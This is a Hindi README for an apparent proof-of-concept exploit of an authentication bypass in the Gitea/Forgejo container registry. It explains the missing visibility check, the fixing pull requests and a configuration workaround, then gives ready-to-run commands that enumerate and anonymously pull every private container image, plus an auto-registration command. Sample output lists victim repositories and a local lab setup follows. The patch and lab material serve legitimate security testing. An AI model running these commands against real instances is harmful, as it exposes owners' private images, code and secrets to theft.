
CVE-2026-27771 - Gitea/Forgejo कंटेनर रजिस्ट्री प्रमाणीकरण बाईपास शोषण PoC - प्रमाणीकरण के बिना निजी कंटेनर छवियाँ खींचें
CVSS: N/A (अप्रकाशित)
प्रभावित: Gitea < 1.26.2 (OCI कंटेनर रजिस्ट्री वाले सभी संस्करण)
प्रभावित भी: Forgejo (NoScope द्वारा पुष्टि की गई)
खोजकर्ता: NoScope
फिक्स: Gitea v1.26.2 (20 मई, 2026) में
अस्वीकरण: यह प्रूफ-ऑफ-कॉन्सेप्ट केवल शैक्षिक और अधिकृत सुरक्षा अनुसंधान उद्देश्यों के लिए प्रदान किया गया है। कंप्यूटर सिस्टम तक अनधिकृत पहुंच अवैध है। लेखक इस कोड के किसी भी दुरुपयोग के लिए जिम्मेदार नहीं हैं। केवल उन सिस्टमों पर परीक्षण करें जिनके आप मालिक हैं या जिनके परीक्षण की आपके पास स्पष्ट अनुमति है।
अप्रमाणित रिमोट हमलावर Gitea इंस्टेंस से निजी कंटेनर इमेज खींच सकते हैं। OCI वितरण स्पेक API एंडपॉइंट (/v2/<name>/manifests/<ref>, /v2/<name>/blobs/<digest>) भूत/अनाम उपयोगकर्ताओं (UserID: -1) को कंटेनर पैकेज मालिक की दृश्यता (निजी/सीमित/सार्वजनिक) की जाँच किए बिना सामग्री प्रदान करते हैं।
NoScope ने 30+ देशों में ~31,750+ इंटरनेट-फेसिंग इंस्टेंस की पहचान की। यह दोष लगभग 4 वर्षों तक अनिर्धारित रहा।
भेद्यता ReqContainerAccess मिडलवेयर (routers/api/packages/container/container.go) में है:
// v1.25.4 — कमजोर
func ReqContainerAccess(ctx *context.Context) {
if ctx.Doer == nil || (setting.Service.RequireSignInViewStrict && ctx.Doer.IsGhost()) {
apiUnauthorizedError(ctx)
}
}
यह केवल जाँचता है:
ctx.Doer nil है? (बिना किसी टोकन के अप्रमाणित अनुरोध)RequireSignInViewStrict सक्षम है और क्या उपयोगकर्ता भूत है?यह पैकेज मालिक की दृश्यता सेटिंग (VisibleTypePublic, VisibleTypeLimited, VisibleTypePrivate) की जाँच नहीं करता है। एक खाली स्कोप वाला भूत उपयोगकर्ता (UserID: -1) सीधे गुजरता है और किसी भी कंटेनर पैकेज तक पहुँच सकता है।
/v2/token एंडपॉइंट (Authenticate फ़ंक्शन) जब RequireSignInViewStrict false होता है तो बिना क्रेडेंशियल के अनाम टोकन प्रदान करता है।
दो फिक्स 1.26.2 में आए:
PR #37290 — apiUnauthorizedError में सशर्त Basic realm हेडर — Docker क्लाइंट को भ्रमित करने से बचने के लिए सार्वजनिक इंस्टेंस पर Basic realm भेजना बंद करता है, और प्रति-मालिक दृश्यता जाँच को प्रमाणीकरण चुनौती में शामिल करता है।
PR #37610 — पैकेज दृश्यता लेबल + Composer स्रोत अनुमति जाँच — पैकेजों के लिए अंतर्निहित अनुमति मॉडल जोड़ता है। इन लेबलों के बिना, अनुमति जाँच पथ में निजी/आंतरिक/सार्वजनिक पैकेजों में अंतर करने का कोई तरीका नहीं था।
[service]
REQUIRE_SIGNIN_VIEW = true
यह सभी अनाम पहुँच (सार्वजनिक रिपॉजिटरी सहित) को अवरुद्ध करता है, जो शोषण पथ को बंद कर देता है। हालाँकि, अंतर्निहित अनुमति मॉडल अभी भी टूटा हुआ है — कोई भी प्रमाणित उपयोगकर्ता अभी भी सभी पैकेजों तक पहुँच सकता है। वास्तविक फिक्स के लिए 1.26.2+ में अपग्रेड करें।
python3 CVE-2026-27771-exploit.py scan <url> # रिपॉजिटरी/टैग खोजें
python3 CVE-2026-27771-exploit.py scan <url> --token <sha1> --username <user>
python3 CVE-2026-27771-exploit.py pull <url> # सभी इमेज खींचें
python3 CVE-2026-27771-exploit.py pull <url> --repo owner/image # विशिष्ट रिपॉजिटरी खींचें
python3 CVE-2026-27771-exploit.py pull <url> --dry-run # दिखाएँ कि क्या खींचा जाएगा
python3 CVE-2026-27771-exploit.py pull <url> --token <sha1> --username <user>
python3 CVE-2026-27771-exploit.py register <url> --username u --password p --email [email protected]
# एक कमजोर इंस्टेंस स्कैन करें
python3 CVE-2026-27771-exploit.py scan https://gitea.example.com
# सभी निजी कंटेनर इमेज खींचें (अनाम)
python3 CVE-2026-27771-exploit.py pull https://gitea.example.com
# व्यक्तिगत एक्सेस टोकन के साथ खींचें (REQUIRE_SIGNIN_VIEW इंस्टेंस के लिए)
python3 CVE-2026-27771-exploit.py pull https://gitea.example.com \
--token 3afb22d5cf0295b5af686dcbbc765600d6dc5dfd --username myuser
# कैप्चा के बिना इंस्टेंस पर ऑटो-रजिस्टर करें
python3 CVE-2026-27771-exploit.py register https://gitea.example.com \
--username myuser --password mypass --email [email protected]
/v2/ एंडपॉइंट, पंजीकरण उपलब्धता का पता लगाता है, अनाम टोकन प्राप्त करता है या PAT को JWT के लिए एक्सचेंज करता है/v2/_catalog के माध्यम से सभी कंटेनर रिपॉजिटरी सूचीबद्ध करता है (टूटी दृश्यता के कारण सभी रिपॉजिटरी — सार्वजनिक और निजी — लौटाता है)pulled_<repo>/extracted/ में निकालता हैREQUIRE_SIGNIN_VIEW=false, तो बिना क्रेडेंशियल के भूत टोकन प्राप्त करता है--token 40-अक्षर का हेक्स स्ट्रिंग है, तो स्वचालित रूप से Basic auth के माध्यम से OCI JWT के लिए एक्सचेंज करता है--token में डॉट हैं, तो इसे सीधे Bearer टोकन के रूप में उपयोग करता है[*] Pre-flight: https://victim.gitea.com
[+] Version (API): 1.25.4
[+] /v2/ -> 401
[+] Anonymous token granted (UserID: -1, Scope: '')
[+] /v2/_catalog -> 200 (3 repos)
[+] Vulnerable: True (require_signin=False)
[*] Container repositories: 3
acme/production-app: tags=['latest', 'v2.1.0']
acme/internal-db: tags=['latest', 'v1.3.0']
team-xyz/secret-ml-model: tags=['v0.9.2']
[acme/production-app]
Tags: ['latest']
└─ manifest latest: multi-arch, digest=sha256:a1b2c3..., 12 blobs
[1/12] sha256_a1b2c3... (28.4 MB)
...
manifests saved
extracted 39862 files to pulled_acme_production-app/extracted
# 1. Docker के साथ Gitea 1.25.x तैनात करें (कमजोर संस्करण)
docker run -d --name gitea-vuln -p 3000:3000 \
-e GITEA__service__REQUIRE_SIGNIN_VIEW=false \
gitea/gitea:1.25.4
# 2. एक उपयोगकर्ता बनाएं और एक निजी Docker इमेज पुश करें
docker login localhost:3000 -u testuser -p testpass
docker pull alpine:latest
docker tag alpine:latest localhost:3000/testuser/secret-app:latest
docker push localhost:3000/testuser/secret-app:latest
# 3. शोषण चलाएं (बिना क्रेडेंशियल)
python3 CVE-2026-27771-exploit.py pull http://localhost:3000
# शोषण testuser/secret-app ढूंढेगा और सभी लेयर डाउनलोड करेगा।
# फ़ाइलें pulled_testuser_secret-app/extracted/ में होंगी
# पैच किए गए संस्करण में अपग्रेड करें
docker stop gitea-vuln
docker run -d --name gitea-fixed -p 3000:3000 \
gitea/gitea:1.26.2
# अनाम टोकन अस्वीकार किया जाना चाहिए (401)
python3 CVE-2026-27771-exploit.py scan http://localhost:3000
# अपेक्षित: "Version >= 1.26.2 (patched)"